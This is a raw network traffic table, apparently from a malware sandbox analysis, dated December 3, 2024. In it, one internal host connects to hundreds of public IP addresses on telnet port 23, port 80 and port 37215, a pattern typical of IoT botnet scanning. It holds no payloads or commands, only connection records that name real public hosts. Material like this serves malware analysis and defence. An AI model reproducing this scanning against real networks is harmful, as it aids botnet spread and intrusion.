Dec 3, 2024 22:16:54.701627970 CET	37963	23	192.168.2.23	62.19.76.244
Dec 3, 2024 22:16:54.701627970 CET	37963	23	192.168.2.23	1.82.107.83
Dec 3, 2024 22:16:54.701630116 CET	37963	23	192.168.2.23	185.14.143.9
Dec 3, 2024 22:16:54.701631069 CET	37963	23	192.168.2.23	144.252.177.173
Dec 3, 2024 22:16:54.701631069 CET	37963	23	192.168.2.23	88.59.91.230
Dec 3, 2024 22:16:54.701632023 CET	37963	23	192.168.2.23	178.24.174.19
Dec 3, 2024 22:16:54.701632023 CET	37963	23	192.168.2.23	216.249.205.42
Dec 3, 2024 22:16:54.701630116 CET	37963	23	192.168.2.23	98.124.16.177
Dec 3, 2024 22:16:54.701627970 CET	37963	23	192.168.2.23	5.39.170.1
Dec 3, 2024 22:16:54.701627970 CET	37963	23	192.168.2.23	189.199.95.145
Dec 3, 2024 22:16:54.701631069 CET	37963	23	192.168.2.23	163.171.53.53
Dec 3, 2024 22:16:54.701627970 CET	37963	23	192.168.2.23	17.95.25.180
Dec 3, 2024 22:16:54.701627016 CET	37963	23	192.168.2.23	86.109.47.21
Dec 3, 2024 22:16:54.701630116 CET	37963	23	192.168.2.23	207.167.59.40
Dec 3, 2024 22:16:54.701632023 CET	37963	23	192.168.2.23	43.145.135.169
Dec 3, 2024 22:16:54.701632023 CET	37963	23	192.168.2.23	193.197.138.203
Dec 3, 2024 22:16:54.701627970 CET	37963	23	192.168.2.23	198.244.149.40
Dec 3, 2024 22:16:54.701632023 CET	37963	23	192.168.2.23	136.195.83.189
Dec 3, 2024 22:16:54.701631069 CET	37963	23	192.168.2.23	217.202.220.49
Dec 3, 2024 22:16:54.701649904 CET	37963	23	192.168.2.23	66.111.113.22
Dec 3, 2024 22:16:54.701654911 CET	37963	23	192.168.2.23	45.16.138.226
Dec 3, 2024 22:16:54.701654911 CET	37963	23	192.168.2.23	163.185.55.233
Dec 3, 2024 22:16:54.701654911 CET	37963	23	192.168.2.23	19.175.192.219
Dec 3, 2024 22:16:54.701657057 CET	37963	23	192.168.2.23	98.54.68.79
Dec 3, 2024 22:16:54.701657057 CET	37963	23	192.168.2.23	176.216.121.14
Dec 3, 2024 22:16:54.701657057 CET	37963	23	192.168.2.23	161.139.48.225
Dec 3, 2024 22:16:54.701657057 CET	37963	23	192.168.2.23	175.14.223.110
Dec 3, 2024 22:16:54.701658964 CET	37963	23	192.168.2.23	27.25.208.238
Dec 3, 2024 22:16:54.701658964 CET	37963	23	192.168.2.23	165.76.205.206
Dec 3, 2024 22:16:54.701657057 CET	37963	23	192.168.2.23	97.193.171.56
Dec 3, 2024 22:16:54.701658010 CET	37963	23	192.168.2.23	19.184.118.65
Dec 3, 2024 22:16:54.701658964 CET	37963	23	192.168.2.23	149.52.20.39
Dec 3, 2024 22:16:54.701657057 CET	37963	23	192.168.2.23	132.151.42.45
Dec 3, 2024 22:16:54.701658964 CET	37963	23	192.168.2.23	31.250.251.189
Dec 3, 2024 22:16:54.701663971 CET	37963	23	192.168.2.23	44.237.83.235
Dec 3, 2024 22:16:54.701658010 CET	37963	23	192.168.2.23	97.219.115.11
Dec 3, 2024 22:16:54.701663971 CET	37963	23	192.168.2.23	187.207.237.16
Dec 3, 2024 22:16:54.701657057 CET	37963	23	192.168.2.23	206.216.60.15
Dec 3, 2024 22:16:54.701663971 CET	37963	23	192.168.2.23	64.183.40.211
Dec 3, 2024 22:16:54.701657057 CET	37963	23	192.168.2.23	34.126.209.35
Dec 3, 2024 22:16:54.701670885 CET	37963	23	192.168.2.23	145.29.143.185
Dec 3, 2024 22:16:54.701657057 CET	37963	23	192.168.2.23	17.74.19.57
Dec 3, 2024 22:16:54.701679945 CET	37963	23	192.168.2.23	183.198.233.122
Dec 3, 2024 22:16:54.707209110 CET	49160	23	192.168.2.23	71.201.8.75
Dec 3, 2024 22:16:54.707212925 CET	55072	37215	192.168.2.23	41.145.183.178
Dec 3, 2024 22:16:54.707216024 CET	45292	23	192.168.2.23	81.65.237.61
Dec 3, 2024 22:16:54.707216024 CET	36308	23	192.168.2.23	2.253.205.150
Dec 3, 2024 22:16:54.707221985 CET	42368	23	192.168.2.23	65.116.153.131
Dec 3, 2024 22:16:54.707222939 CET	56370	23	192.168.2.23	84.103.174.7
Dec 3, 2024 22:16:54.707222939 CET	49718	23	192.168.2.23	140.234.59.46
Dec 3, 2024 22:16:54.707223892 CET	34910	37215	192.168.2.23	197.85.75.36
Dec 3, 2024 22:16:54.707226038 CET	47388	23	192.168.2.23	85.118.183.240
Dec 3, 2024 22:16:54.707227945 CET	37084	23	192.168.2.23	90.21.195.160
Dec 3, 2024 22:16:54.707237005 CET	40828	23	192.168.2.23	75.250.37.48
Dec 3, 2024 22:16:54.707238913 CET	58908	23	192.168.2.23	93.70.190.228
Dec 3, 2024 22:16:54.707241058 CET	59242	23	192.168.2.23	123.7.159.244
Dec 3, 2024 22:16:54.707242966 CET	55250	23	192.168.2.23	17.4.249.192
Dec 3, 2024 22:16:54.707242966 CET	35762	23	192.168.2.23	183.137.11.136
Dec 3, 2024 22:16:54.707245111 CET	41154	23	192.168.2.23	94.190.239.26
Dec 3, 2024 22:16:54.707248926 CET	41966	23	192.168.2.23	193.33.126.164
Dec 3, 2024 22:16:54.707252979 CET	51490	23	192.168.2.23	120.112.40.34
Dec 3, 2024 22:16:54.707258940 CET	42622	23	192.168.2.23	72.125.192.115
Dec 3, 2024 22:16:54.707258940 CET	41372	23	192.168.2.23	37.200.45.65
Dec 3, 2024 22:16:54.707258940 CET	33848	23	192.168.2.23	175.49.153.57
Dec 3, 2024 22:16:54.707258940 CET	55978	23	192.168.2.23	197.224.167.196
Dec 3, 2024 22:16:54.707258940 CET	47546	23	192.168.2.23	219.95.159.245
Dec 3, 2024 22:16:54.707268953 CET	59652	23	192.168.2.23	142.126.249.183
Dec 3, 2024 22:16:54.707269907 CET	48852	23	192.168.2.23	71.69.133.208
Dec 3, 2024 22:16:54.707269907 CET	48014	23	192.168.2.23	31.116.24.229
Dec 3, 2024 22:16:54.707271099 CET	47634	23	192.168.2.23	185.91.110.217
Dec 3, 2024 22:16:54.707269907 CET	54806	23	192.168.2.23	151.83.19.155
Dec 3, 2024 22:16:54.707271099 CET	37888	23	192.168.2.23	13.115.174.11
Dec 3, 2024 22:16:54.707271099 CET	40720	23	192.168.2.23	150.30.213.76
Dec 3, 2024 22:16:54.707272053 CET	50470	23	192.168.2.23	2.29.52.47
Dec 3, 2024 22:16:54.707271099 CET	38146	23	192.168.2.23	51.58.143.75
Dec 3, 2024 22:16:54.707271099 CET	33692	23	192.168.2.23	63.129.240.25
Dec 3, 2024 22:16:54.707272053 CET	43762	23	192.168.2.23	64.225.164.9
Dec 3, 2024 22:16:54.707276106 CET	55636	23	192.168.2.23	87.102.133.79
Dec 3, 2024 22:16:54.707269907 CET	42644	80	192.168.2.23	98.62.217.116
Dec 3, 2024 22:16:54.707281113 CET	42170	80	192.168.2.23	39.158.171.31
Dec 3, 2024 22:16:54.707284927 CET	48930	80	192.168.2.23	206.227.56.7
Dec 3, 2024 22:16:54.707281113 CET	33902	80	192.168.2.23	223.121.225.70
Dec 3, 2024 22:16:54.707284927 CET	38914	80	192.168.2.23	186.113.80.73
Dec 3, 2024 22:16:54.707287073 CET	59220	80	192.168.2.23	40.210.155.2
Dec 3, 2024 22:16:54.707287073 CET	56516	80	192.168.2.23	143.144.238.248
Dec 3, 2024 22:16:54.707288980 CET	47492	23	192.168.2.23	140.61.152.218
Dec 3, 2024 22:16:54.707288980 CET	46344	80	192.168.2.23	121.148.192.123
Dec 3, 2024 22:16:54.707288980 CET	37382	80	192.168.2.23	218.52.101.220
Dec 3, 2024 22:16:54.707292080 CET	45688	80	192.168.2.23	64.59.135.200
Dec 3, 2024 22:16:54.707294941 CET	42868	80	192.168.2.23	183.28.92.158
Dec 3, 2024 22:16:54.707295895 CET	48090	80	192.168.2.23	104.124.112.193
Dec 3, 2024 22:16:54.707295895 CET	54174	80	192.168.2.23	120.198.118.153
Dec 3, 2024 22:16:54.707297087 CET	38290	80	192.168.2.23	207.6.169.4
Dec 3, 2024 22:16:54.707298040 CET	46786	80	192.168.2.23	39.44.135.78
Dec 3, 2024 22:16:54.707310915 CET	37734	80	192.168.2.23	150.244.142.161
Dec 3, 2024 22:16:54.707317114 CET	46822	80	192.168.2.23	79.199.171.78
Dec 3, 2024 22:16:54.707317114 CET	43208	80	192.168.2.23	193.238.40.164
Dec 3, 2024 22:16:54.707318068 CET	33080	80	192.168.2.23	121.253.73.189
Dec 3, 2024 22:16:54.707324028 CET	53396	80	192.168.2.23	148.72.231.18
Dec 3, 2024 22:16:54.707330942 CET	47612	80	192.168.2.23	210.159.47.47
Dec 3, 2024 22:16:54.707330942 CET	50306	80	192.168.2.23	134.76.21.179
Dec 3, 2024 22:16:54.707330942 CET	55778	80	192.168.2.23	118.92.116.31
Dec 3, 2024 22:16:54.707330942 CET	54954	80	192.168.2.23	78.142.26.92
Dec 3, 2024 22:16:54.707330942 CET	36530	80	192.168.2.23	175.106.22.71
Dec 3, 2024 22:16:54.707334995 CET	59880	80	192.168.2.23	34.232.155.108
Dec 3, 2024 22:16:54.707334042 CET	41784	80	192.168.2.23	46.72.44.235
Dec 3, 2024 22:16:54.707334995 CET	47152	80	192.168.2.23	171.27.195.82
Dec 3, 2024 22:16:54.707330942 CET	41380	80	192.168.2.23	152.45.45.238
Dec 3, 2024 22:16:54.707334995 CET	33186	80	192.168.2.23	4.155.227.248
Dec 3, 2024 22:16:54.707339048 CET	41952	80	192.168.2.23	70.246.26.77
Dec 3, 2024 22:16:54.707330942 CET	44096	80	192.168.2.23	90.130.74.93
Dec 3, 2024 22:16:54.707334042 CET	47696	80	192.168.2.23	157.179.137.136
Dec 3, 2024 22:16:54.707343102 CET	39410	80	192.168.2.23	71.39.118.187
Dec 3, 2024 22:16:54.707343102 CET	36600	80	192.168.2.23	60.254.185.199
Dec 3, 2024 22:16:54.707345009 CET	56062	80	192.168.2.23	63.233.16.98
Dec 3, 2024 22:16:54.707343102 CET	56330	80	192.168.2.23	129.37.9.102
Dec 3, 2024 22:16:54.707346916 CET	39490	80	192.168.2.23	159.132.35.218
Dec 3, 2024 22:16:54.707345009 CET	37692	80	192.168.2.23	136.240.205.73
Dec 3, 2024 22:16:54.707351923 CET	37390	80	192.168.2.23	200.98.99.254
Dec 3, 2024 22:16:54.731194973 CET	80	54496	194.18.61.94	192.168.2.23
Dec 3, 2024 22:16:54.731215954 CET	80	55508	2.233.134.116	192.168.2.23
Dec 3, 2024 22:16:54.731226921 CET	80	40546	128.106.21.141	192.168.2.23
Dec 3, 2024 22:16:54.731266022 CET	55508	80	192.168.2.23	2.233.134.116
Dec 3, 2024 22:16:54.731271982 CET	40546	80	192.168.2.23	128.106.21.141
Dec 3, 2024 22:16:54.731290102 CET	54496	80	192.168.2.23	194.18.61.94
Dec 3, 2024 22:16:54.731328964 CET	54496	80	192.168.2.23	194.18.61.94
Dec 3, 2024 22:16:54.731344938 CET	55508	80	192.168.2.23	2.233.134.116
Dec 3, 2024 22:16:54.731355906 CET	40546	80	192.168.2.23	128.106.21.141
Dec 3, 2024 22:16:54.739197016 CET	44106	80	192.168.2.23	211.28.212.81
Dec 3, 2024 22:16:54.739197016 CET	44492	80	192.168.2.23	178.212.220.26
Dec 3, 2024 22:16:54.739200115 CET	59900	80	192.168.2.23	173.176.117.13
Dec 3, 2024 22:16:54.739200115 CET	48710	80	192.168.2.23	36.154.130.46
Dec 3, 2024 22:16:54.739204884 CET	55834	80	192.168.2.23	78.206.124.69
Dec 3, 2024 22:16:54.739207029 CET	39388	80	192.168.2.23	116.204.202.129
Dec 3, 2024 22:16:54.739207983 CET	45186	80	192.168.2.23	18.59.250.35
Dec 3, 2024 22:16:54.739212036 CET	45612	80	192.168.2.23	174.180.202.76
Dec 3, 2024 22:16:54.821598053 CET	23	37963	113.85.98.184	192.168.2.23
Dec 3, 2024 22:16:54.821629047 CET	23	37963	66.41.83.133	192.168.2.23
Dec 3, 2024 22:16:54.821645975 CET	23	37963	196.93.109.19	192.168.2.23
Dec 3, 2024 22:16:54.821665049 CET	23	37963	4.224.54.161	192.168.2.23
Dec 3, 2024 22:16:54.821676016 CET	23	37963	109.57.79.190	192.168.2.23
Dec 3, 2024 22:16:54.821748018 CET	23	37963	185.205.209.120	192.168.2.23
Dec 3, 2024 22:16:54.821757078 CET	23	37963	81.182.255.227	192.168.2.23
Dec 3, 2024 22:16:54.821777105 CET	37963	23	192.168.2.23	4.224.54.161
Dec 3, 2024 22:16:54.821779966 CET	37963	23	192.168.2.23	113.85.98.184
Dec 3, 2024 22:16:54.821779966 CET	37963	23	192.168.2.23	81.182.255.227
Dec 3, 2024 22:16:54.821808100 CET	23	37963	206.173.95.77	192.168.2.23
Dec 3, 2024 22:16:54.821827888 CET	23	37963	57.164.18.81	192.168.2.23
Dec 3, 2024 22:16:54.821829081 CET	37963	23	192.168.2.23	66.41.83.133
Dec 3, 2024 22:16:54.821834087 CET	37963	23	192.168.2.23	196.93.109.19
Dec 3, 2024 22:16:54.821847916 CET	37963	23	192.168.2.23	206.173.95.77
Dec 3, 2024 22:16:54.821854115 CET	37963	23	192.168.2.23	185.205.209.120
Dec 3, 2024 22:16:54.821854115 CET	37963	23	192.168.2.23	109.57.79.190
Dec 3, 2024 22:16:54.821866035 CET	37963	23	192.168.2.23	57.164.18.81
Dec 3, 2024 22:16:54.827251911 CET	80	47612	210.159.47.47	192.168.2.23
Dec 3, 2024 22:16:54.827337027 CET	47612	80	192.168.2.23	210.159.47.47
Dec 3, 2024 22:16:54.827394962 CET	47612	80	192.168.2.23	210.159.47.47
Dec 3, 2024 22:16:54.827395916 CET	47612	80	192.168.2.23	210.159.47.47
Dec 3, 2024 22:16:54.827835083 CET	48022	80	192.168.2.23	210.159.47.47
Dec 3, 2024 22:16:54.835187912 CET	50260	37215	192.168.2.23	156.110.116.192
Dec 3, 2024 22:16:54.835187912 CET	50414	37215	192.168.2.23	156.142.216.19
Dec 3, 2024 22:16:54.835202932 CET	38364	37215	192.168.2.23	156.30.63.25
Dec 3, 2024 22:16:54.835206985 CET	54208	37215	192.168.2.23	156.173.48.6
Dec 3, 2024 22:16:54.835208893 CET	51134	37215	192.168.2.23	41.72.40.186
Dec 3, 2024 22:16:54.835208893 CET	53894	37215	192.168.2.23	197.125.185.133
Dec 3, 2024 22:16:54.835208893 CET	37630	37215	192.168.2.23	156.127.117.248
Dec 3, 2024 22:16:54.853367090 CET	80	40546	128.106.21.141	192.168.2.23
Dec 3, 2024 22:16:54.853377104 CET	80	55508	2.233.134.116	192.168.2.23
Dec 3, 2024 22:16:54.853390932 CET	80	54496	194.18.61.94	192.168.2.23
Dec 3, 2024 22:16:54.853399992 CET	80	55508	2.233.134.116	192.168.2.23
Dec 3, 2024 22:16:54.853432894 CET	55508	80	192.168.2.23	2.233.134.116
Dec 3, 2024 22:16:54.853528023 CET	80	40546	128.106.21.141	192.168.2.23
Dec 3, 2024 22:16:54.853571892 CET	40546	80	192.168.2.23	128.106.21.141
Dec 3, 2024 22:16:54.853703022 CET	80	54496	194.18.61.94	192.168.2.23
Dec 3, 2024 22:16:54.853768110 CET	54496	80	192.168.2.23	194.18.61.94
Dec 3, 2024 22:16:54.859141111 CET	80	44106	211.28.212.81	192.168.2.23
Dec 3, 2024 22:16:54.859185934 CET	80	44492	178.212.220.26	192.168.2.23
Dec 3, 2024 22:16:54.859203100 CET	44106	80	192.168.2.23	211.28.212.81
Dec 3, 2024 22:16:54.859215975 CET	44492	80	192.168.2.23	178.212.220.26
Dec 3, 2024 22:16:54.859236956 CET	44106	80	192.168.2.23	211.28.212.81
Dec 3, 2024 22:16:54.859236956 CET	44106	80	192.168.2.23	211.28.212.81
Dec 3, 2024 22:16:54.859548092 CET	44490	80	192.168.2.23	211.28.212.81
Dec 3, 2024 22:16:54.859915972 CET	44492	80	192.168.2.23	178.212.220.26
Dec 3, 2024 22:16:54.859915972 CET	44492	80	192.168.2.23	178.212.220.26
Dec 3, 2024 22:16:54.860177040 CET	44872	80	192.168.2.23	178.212.220.26
Dec 3, 2024 22:16:54.947325945 CET	80	47612	210.159.47.47	192.168.2.23
Dec 3, 2024 22:16:54.947770119 CET	80	48022	210.159.47.47	192.168.2.23
Dec 3, 2024 22:16:54.947848082 CET	48022	80	192.168.2.23	210.159.47.47
Dec 3, 2024 22:16:54.947877884 CET	48022	80	192.168.2.23	210.159.47.47
Dec 3, 2024 22:16:54.955482960 CET	37215	50260	156.110.116.192	192.168.2.23
Dec 3, 2024 22:16:54.955535889 CET	50260	37215	192.168.2.23	156.110.116.192
Dec 3, 2024 22:16:54.955538034 CET	37215	50414	156.142.216.19	192.168.2.23
Dec 3, 2024 22:16:54.955549955 CET	37215	38364	156.30.63.25	192.168.2.23
Dec 3, 2024 22:16:54.955566883 CET	37215	53894	197.125.185.133	192.168.2.23
Dec 3, 2024 22:16:54.955574989 CET	37215	51134	41.72.40.186	192.168.2.23
Dec 3, 2024 22:16:54.955584049 CET	37215	37630	156.127.117.248	192.168.2.23
Dec 3, 2024 22:16:54.955585003 CET	50414	37215	192.168.2.23	156.142.216.19
Dec 3, 2024 22:16:54.955585957 CET	38364	37215	192.168.2.23	156.30.63.25
Dec 3, 2024 22:16:54.955610037 CET	51134	37215	192.168.2.23	41.72.40.186
Dec 3, 2024 22:16:54.955610037 CET	37630	37215	192.168.2.23	156.127.117.248
Dec 3, 2024 22:16:54.955610991 CET	53894	37215	192.168.2.23	197.125.185.133
Dec 3, 2024 22:16:54.955636024 CET	37215	54208	156.173.48.6	192.168.2.23
Dec 3, 2024 22:16:54.955677986 CET	54208	37215	192.168.2.23	156.173.48.6
Dec 3, 2024 22:16:54.956010103 CET	53846	37215	192.168.2.23	41.195.129.201
Dec 3, 2024 22:16:54.956636906 CET	60136	37215	192.168.2.23	156.138.215.210
Dec 3, 2024 22:16:54.957283974 CET	55640	37215	192.168.2.23	41.48.156.167
Dec 3, 2024 22:16:54.957932949 CET	45572	37215	192.168.2.23	156.234.118.115
Dec 3, 2024 22:16:54.958628893 CET	55242	37215	192.168.2.23	197.199.156.6
Dec 3, 2024 22:16:54.959280014 CET	40734	37215	192.168.2.23	197.236.127.19
Dec 3, 2024 22:16:54.959733009 CET	50260	37215	192.168.2.23	156.110.116.192
Dec 3, 2024 22:16:54.959733009 CET	50260	37215	192.168.2.23	156.110.116.192
Dec 3, 2024 22:16:54.960010052 CET	50390	37215	192.168.2.23	156.110.116.192
Dec 3, 2024 22:16:54.960355997 CET	53894	37215	192.168.2.23	197.125.185.133
Dec 3, 2024 22:16:54.960355997 CET	53894	37215	192.168.2.23	197.125.185.133
Dec 3, 2024 22:16:54.960623980 CET	54038	37215	192.168.2.23	197.125.185.133
Dec 3, 2024 22:16:54.960994959 CET	37630	37215	192.168.2.23	156.127.117.248
Dec 3, 2024 22:16:54.960994959 CET	37630	37215	192.168.2.23	156.127.117.248
Dec 3, 2024 22:16:54.961261988 CET	37774	37215	192.168.2.23	156.127.117.248
Dec 3, 2024 22:16:54.961608887 CET	51134	37215	192.168.2.23	41.72.40.186
Dec 3, 2024 22:16:54.961608887 CET	51134	37215	192.168.2.23	41.72.40.186
Dec 3, 2024 22:16:54.961880922 CET	51278	37215	192.168.2.23	41.72.40.186
Dec 3, 2024 22:16:54.962239981 CET	54208	37215	192.168.2.23	156.173.48.6
Dec 3, 2024 22:16:54.962239981 CET	54208	37215	192.168.2.23	156.173.48.6
Dec 3, 2024 22:16:54.962515116 CET	54352	37215	192.168.2.23	156.173.48.6
Dec 3, 2024 22:16:54.962894917 CET	38364	37215	192.168.2.23	156.30.63.25
Dec 3, 2024 22:16:54.962894917 CET	38364	37215	192.168.2.23	156.30.63.25
Dec 3, 2024 22:16:54.963164091 CET	42258	37215	192.168.2.23	197.1.206.139
Dec 3, 2024 22:16:54.963165045 CET	58934	37215	192.168.2.23	156.136.30.83
Dec 3, 2024 22:16:54.963165045 CET	57052	37215	192.168.2.23	197.36.67.95
Dec 3, 2024 22:16:54.963166952 CET	57838	37215	192.168.2.23	197.205.167.250
Dec 3, 2024 22:16:54.963191986 CET	38508	37215	192.168.2.23	156.30.63.25
Dec 3, 2024 22:16:54.963563919 CET	50414	37215	192.168.2.23	156.142.216.19
Dec 3, 2024 22:16:54.963563919 CET	50414	37215	192.168.2.23	156.142.216.19
Dec 3, 2024 22:16:54.963850975 CET	50558	37215	192.168.2.23	156.142.216.19
Dec 3, 2024 22:16:54.979353905 CET	80	44106	211.28.212.81	192.168.2.23
Dec 3, 2024 22:16:54.979595900 CET	80	44490	211.28.212.81	192.168.2.23
Dec 3, 2024 22:16:54.979652882 CET	44490	80	192.168.2.23	211.28.212.81
Dec 3, 2024 22:16:54.979707956 CET	44490	80	192.168.2.23	211.28.212.81
Dec 3, 2024 22:16:54.980060101 CET	80	44492	178.212.220.26	192.168.2.23
Dec 3, 2024 22:16:54.980369091 CET	80	44872	178.212.220.26	192.168.2.23
Dec 3, 2024 22:16:54.980412960 CET	44872	80	192.168.2.23	178.212.220.26
Dec 3, 2024 22:16:54.980432987 CET	44872	80	192.168.2.23	178.212.220.26
Dec 3, 2024 22:16:54.987608910 CET	80	47612	210.159.47.47	192.168.2.23
Dec 3, 2024 22:16:55.019665003 CET	80	44106	211.28.212.81	192.168.2.23
Dec 3, 2024 22:16:55.023614883 CET	80	44492	178.212.220.26	192.168.2.23
Dec 3, 2024 22:16:55.027168989 CET	47198	80	192.168.2.23	102.244.213.7
Dec 3, 2024 22:16:55.027169943 CET	56618	80	192.168.2.23	119.163.95.200
Dec 3, 2024 22:16:55.027169943 CET	41936	80	192.168.2.23	66.167.139.239
Dec 3, 2024 22:16:55.027174950 CET	50584	80	192.168.2.23	165.204.23.192
Dec 3, 2024 22:16:55.027175903 CET	42432	80	192.168.2.23	60.178.102.141
Dec 3, 2024 22:16:55.027180910 CET	48718	80	192.168.2.23	200.217.174.254
Dec 3, 2024 22:16:55.027180910 CET	46520	80	192.168.2.23	63.186.73.228
Dec 3, 2024 22:16:55.027183056 CET	39834	80	192.168.2.23	123.103.236.184
Dec 3, 2024 22:16:55.027183056 CET	38904	80	192.168.2.23	189.182.4.61
Dec 3, 2024 22:16:55.027183056 CET	56648	80	192.168.2.23	209.127.151.124
Dec 3, 2024 22:16:55.027184963 CET	51112	80	192.168.2.23	154.142.82.9
Dec 3, 2024 22:16:55.027187109 CET	55200	80	192.168.2.23	102.76.177.99
Dec 3, 2024 22:16:55.027187109 CET	59332	80	192.168.2.23	155.118.130.193
Dec 3, 2024 22:16:55.027194977 CET	48552	80	192.168.2.23	129.148.53.122
Dec 3, 2024 22:16:55.068222046 CET	80	48022	210.159.47.47	192.168.2.23
Dec 3, 2024 22:16:55.068298101 CET	48022	80	192.168.2.23	210.159.47.47
Dec 3, 2024 22:16:55.075927973 CET	37215	53846	41.195.129.201	192.168.2.23
Dec 3, 2024 22:16:55.075998068 CET	53846	37215	192.168.2.23	41.195.129.201
Dec 3, 2024 22:16:55.076040983 CET	53846	37215	192.168.2.23	41.195.129.201
Dec 3, 2024 22:16:55.076040983 CET	53846	37215	192.168.2.23	41.195.129.201
Dec 3, 2024 22:16:55.076401949 CET	53872	37215	192.168.2.23	41.195.129.201
Dec 3, 2024 22:16:55.076586962 CET	37215	60136	156.138.215.210	192.168.2.23
Dec 3, 2024 22:16:55.076632023 CET	60136	37215	192.168.2.23	156.138.215.210
Dec 3, 2024 22:16:55.076745033 CET	60136	37215	192.168.2.23	156.138.215.210
Dec 3, 2024 22:16:55.076745033 CET	60136	37215	192.168.2.23	156.138.215.210
Dec 3, 2024 22:16:55.077003956 CET	60162	37215	192.168.2.23	156.138.215.210
Dec 3, 2024 22:16:55.077161074 CET	37215	55640	41.48.156.167	192.168.2.23
Dec 3, 2024 22:16:55.077199936 CET	55640	37215	192.168.2.23	41.48.156.167
Dec 3, 2024 22:16:55.077337980 CET	55640	37215	192.168.2.23	41.48.156.167
Dec 3, 2024 22:16:55.077337980 CET	55640	37215	192.168.2.23	41.48.156.167
Dec 3, 2024 22:16:55.077604055 CET	55666	37215	192.168.2.23	41.48.156.167
Dec 3, 2024 22:16:55.077785969 CET	37215	45572	156.234.118.115	192.168.2.23
Dec 3, 2024 22:16:55.077821970 CET	45572	37215	192.168.2.23	156.234.118.115
Dec 3, 2024 22:16:55.077941895 CET	45572	37215	192.168.2.23	156.234.118.115
Dec 3, 2024 22:16:55.077941895 CET	45572	37215	192.168.2.23	156.234.118.115
Dec 3, 2024 22:16:55.078193903 CET	45598	37215	192.168.2.23	156.234.118.115
Dec 3, 2024 22:16:55.078546047 CET	37215	55242	197.199.156.6	192.168.2.23
Dec 3, 2024 22:16:55.078583002 CET	55242	37215	192.168.2.23	197.199.156.6
Dec 3, 2024 22:16:55.078597069 CET	55242	37215	192.168.2.23	197.199.156.6
Dec 3, 2024 22:16:55.078597069 CET	55242	37215	192.168.2.23	197.199.156.6
Dec 3, 2024 22:16:55.078846931 CET	55268	37215	192.168.2.23	197.199.156.6
Dec 3, 2024 22:16:55.079180002 CET	37215	40734	197.236.127.19	192.168.2.23
Dec 3, 2024 22:16:55.079220057 CET	40734	37215	192.168.2.23	197.236.127.19
Dec 3, 2024 22:16:55.079233885 CET	37451	37215	192.168.2.23	41.120.228.146
Dec 3, 2024 22:16:55.079241037 CET	37451	37215	192.168.2.23	156.255.63.214
Dec 3, 2024 22:16:55.079241991 CET	37451	37215	192.168.2.23	41.234.29.207
Dec 3, 2024 22:16:55.079243898 CET	37451	37215	192.168.2.23	41.137.32.181
Dec 3, 2024 22:16:55.079247952 CET	37451	37215	192.168.2.23	156.167.52.210
Dec 3, 2024 22:16:55.079262018 CET	37451	37215	192.168.2.23	156.114.18.151
Dec 3, 2024 22:16:55.079268932 CET	37451	37215	192.168.2.23	156.187.218.218
Dec 3, 2024 22:16:55.079268932 CET	37451	37215	192.168.2.23	197.212.114.141
Dec 3, 2024 22:16:55.079268932 CET	37451	37215	192.168.2.23	156.44.161.32
Dec 3, 2024 22:16:55.079269886 CET	37451	37215	192.168.2.23	197.251.79.78
Dec 3, 2024 22:16:55.079272985 CET	37451	37215	192.168.2.23	41.4.195.62
Dec 3, 2024 22:16:55.079288006 CET	37451	37215	192.168.2.23	197.75.171.174
Dec 3, 2024 22:16:55.079293966 CET	37451	37215	192.168.2.23	156.66.105.229
Dec 3, 2024 22:16:55.079296112 CET	37451	37215	192.168.2.23	156.213.77.41
Dec 3, 2024 22:16:55.079296112 CET	37451	37215	192.168.2.23	197.240.18.68
Dec 3, 2024 22:16:55.079296112 CET	37451	37215	192.168.2.23	156.3.253.74
Dec 3, 2024 22:16:55.079302073 CET	37451	37215	192.168.2.23	41.207.83.81
Dec 3, 2024 22:16:55.079303026 CET	37451	37215	192.168.2.23	156.170.231.52
Dec 3, 2024 22:16:55.079327106 CET	37451	37215	192.168.2.23	197.4.255.171
Dec 3, 2024 22:16:55.079328060 CET	37451	37215	192.168.2.23	156.249.169.47
Dec 3, 2024 22:16:55.079328060 CET	37451	37215	192.168.2.23	41.150.40.32
Dec 3, 2024 22:16:55.079330921 CET	37451	37215	192.168.2.23	156.72.35.8
Dec 3, 2024 22:16:55.079332113 CET	37451	37215	192.168.2.23	156.202.172.76
Dec 3, 2024 22:16:55.079333067 CET	37451	37215	192.168.2.23	41.7.254.133
Dec 3, 2024 22:16:55.079333067 CET	37451	37215	192.168.2.23	156.237.163.218
Dec 3, 2024 22:16:55.079333067 CET	37451	37215	192.168.2.23	156.104.44.167
Dec 3, 2024 22:16:55.079344988 CET	37451	37215	192.168.2.23	197.69.148.2
Dec 3, 2024 22:16:55.079344988 CET	37451	37215	192.168.2.23	156.102.85.171
Dec 3, 2024 22:16:55.079346895 CET	37451	37215	192.168.2.23	197.9.19.137
Dec 3, 2024 22:16:55.079346895 CET	37451	37215	192.168.2.23	41.172.32.6
Dec 3, 2024 22:16:55.079355001 CET	37451	37215	192.168.2.23	197.161.111.121
Dec 3, 2024 22:16:55.079355001 CET	37451	37215	192.168.2.23	197.25.213.44
Dec 3, 2024 22:16:55.079358101 CET	37451	37215	192.168.2.23	41.16.70.42
Dec 3, 2024 22:16:55.079359055 CET	37451	37215	192.168.2.23	41.230.153.94
Dec 3, 2024 22:16:55.079361916 CET	37451	37215	192.168.2.23	197.231.234.66
Dec 3, 2024 22:16:55.079361916 CET	37451	37215	192.168.2.23	156.16.120.246
Dec 3, 2024 22:16:55.079377890 CET	37451	37215	192.168.2.23	197.57.193.85
Dec 3, 2024 22:16:55.079379082 CET	37451	37215	192.168.2.23	197.240.234.226
Dec 3, 2024 22:16:55.079379082 CET	37451	37215	192.168.2.23	156.203.15.142
Dec 3, 2024 22:16:55.079379082 CET	37451	37215	192.168.2.23	156.126.228.160
Dec 3, 2024 22:16:55.079381943 CET	37451	37215	192.168.2.23	197.229.116.182
Dec 3, 2024 22:16:55.079381943 CET	37451	37215	192.168.2.23	197.248.213.149
Dec 3, 2024 22:16:55.079381943 CET	37451	37215	192.168.2.23	197.202.230.237
Dec 3, 2024 22:16:55.079382896 CET	37451	37215	192.168.2.23	156.32.250.81
Dec 3, 2024 22:16:55.079382896 CET	37451	37215	192.168.2.23	197.28.142.175
Dec 3, 2024 22:16:55.079382896 CET	37451	37215	192.168.2.23	41.150.57.16
Dec 3, 2024 22:16:55.079382896 CET	37451	37215	192.168.2.23	197.140.96.194
Dec 3, 2024 22:16:55.079382896 CET	37451	37215	192.168.2.23	156.212.52.214
Dec 3, 2024 22:16:55.079382896 CET	37451	37215	192.168.2.23	156.94.75.38
